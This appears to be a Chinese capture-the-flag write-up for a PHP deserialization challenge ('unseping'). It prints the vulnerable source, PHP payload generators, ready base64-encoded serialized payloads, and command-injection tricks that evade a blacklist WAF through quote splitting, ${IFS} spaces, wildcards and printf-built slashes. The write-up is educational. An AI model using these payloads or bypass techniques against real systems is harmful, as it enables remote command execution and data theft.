当前位置: 首页 > news >正文

攻防世界-web习题-unseping-flag获取详解、总结

解题思路

比较复杂的一题...

打开靶场,给了源码

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

我们分开剖析每一段源码:

 function __construct($method, $args) {$this->method = $method;$this->args = $args;}

__construct魔术方法,

在类被实例化的时候会被调用,反序列化时不调用。

这里仅做了一个参数传值的操作

function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} 

析构魔术方法__destruct(),在类被销毁时自动调用,或者在被反序列化的类销毁时会被调用。

这里有个in_array()方法,这个方法用来判断某个变量在数组中是否存在,返回布尔类型。

这里呢就是判断数组[ping]中是否包含了我们的变量method。如果包含,才继续。

进入嵌套中有call_user_func_array()方法,

它的作用就是 —— “把一个数组中的参数,作为函数的参数依次传入并调用该函数。”

第一个参数是函数方法,第二个参数则是数组。说明args变量为数组,前面method则为方法。

这里明显就是要调用ping方法,因为判断就是必须要method等于ping,然后args呢就必须是ping方法中要传递的参数。

接下来Ping方法来了

function ping($ip){exec($ip, $result);var_dump($result);}

传入参数ip,并且以命令执行exec,然后输出结果。看到这里就能想到我们的args是我们需要注入的命令了。

function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}

然后是WAF方法,过滤了很多字符、字母等,需要绕过。

function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}} 

wakeup魔术方法,在类被反序列化时会被自动调用。

这里就是将我们要注入的命令输入到WAF过滤。


$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

用POST传入ctf参数,然后进行base64解码,然后再进行反序列化。

总结:

1. 我们需要调用ping方法,执行注入命令,怎么调用?

2. 析构魔术方法__destruct()会调用Ping方法,只要我们让method="ping"即可,怎么调用析构魔术方法?

3.在类被反序列化后销毁调用,我们可以提交base64编码的反序列化对象作为ctf值进行传入,然后就会被base64解码、反序列化,最后会调用析构魔术方法。但是,反序列化时会调用wakeup魔术方法,即我们的输入会进而调用WAF方法,命令会被过滤。

4.所以我们需要绕过WAF即可注入命令。

下面构造Payload,绕过waf,进行ls命令注入,查看当前目录

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

这里由于ls被waf过滤,可以采用多种绕过方式:如,l''s 或 l""s 或 l/s等等

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

post提交ctf即可,看到flag_ls_here文件夹。

这里有个坑点:ctf提交的时候,与数据包头之间空行不能太多,后面的空行也不行,否则无法识别。。不知道是我burpsuit的原因还是什么?我反正在其他题目空行就没什么问题...

知道flag_ls_here了,那么继续注入命令,ls该文件夹

注意flag被过滤了,可以用fl*通配符绕过,即fl开头的所有文件,这里只有目标文件。

当然也可以像ls那样用字符绕过。

其中${IFS},是经典的空格绕过。

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('l""s${IFS}fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

 payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMzoibCIicyR7SUZTfWZsKiI7fX0=

 

 可以看到应该是最终的flag文件了

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('ca""t${IFS}fl*$(printf${IFS}"\57")fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

这里cat用字符绕过,空格用老规矩绕过,fl文件夹和fl文件都可以用通配符绕过,比较难得就是目录符号/的绕过:

$(printf${IFS}"\57")
↓ 执行过程
1. ${IFS} → 空格
2. 执行命令: printf "\\57"
3. 输出结果: /
4. 最终替换: $() 位置被替换为 /

最终: 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozNzoiY2EiInQke0lGU31mbCokKHByaW50ZiR7SUZTfSJcNTciKWZsKiI7fX0=

 

成功找到flag。 

总结

一道比较复杂的反序列化漏洞题目,难点主要是在绕过这里。

这里我第一时间想到的是利用反序列化漏洞,绕过WAF检测,也就是将序列化的属性数量多余实际数量,绕过wakeup方法,但是此题无法绕过,可能是源码检测了不给绕过吧,我看其他人的WP没有绕过的...

http://www.dtcms.com/a/289528.html

相关文章:

  • snmp攻击
  • 【CUDA进阶】Tensor Core实战教程(下)
  • 【JS逆向基础】数据库之redis
  • TypeScript环境安装和操作
  • 将 VHD/VHDX 转换为物理磁盘
  • 无 sudo 权限的环境下将 nvcc (CUDA Toolkit) 安装到个人目录 linux
  • 虚拟地址空间
  • rman清理归档
  • 2024年全国青少年信息素养大赛Scratch编程挑战赛 小低组初赛
  • 【JDK内置工具】常用工具和实战指令
  • 贝叶斯分类器的相关理论学习
  • 力扣面试150(34/150)
  • 人脸识别:AI 如何精准 “认人”?
  • Florence2-通用表征完成多种视觉任务的视觉基础模型
  • 最新轻量美化表白墙系统源码v2.0 带后台版 附搭建教程
  • 分治算法---归并
  • 智能制造——48页毕马威:汽车营销与研发数字化研究【附全文阅读】
  • Muduo库中单例模式详解
  • 【Anaconda】Conda 虚拟环境打包迁移教程
  • 基于ACPs协议的智能体互联网示例(多智能体旅游规划)
  • JMeter连接数据库
  • Linux操作系统从入门到实战(十一)回车换行问题与用户缓冲区问题
  • C++虚函数易错点整理
  • 20250720-4-Kubernetes 调度-指定节点调度:nodeSelectornodeAffinity笔记
  • LeetCode 3202.找出有效子序列的最大长度 II:取模性质(动态规划)
  • JDK8默认垃圾回收器
  • (Python)类和类的方法进阶(基础教程介绍)(Python基础教程)
  • 利用核壳生物支架调控纤维 - 成骨稳态【AbMole】
  • Linux:线程控制
  • 【网络编程】网络传输-JSON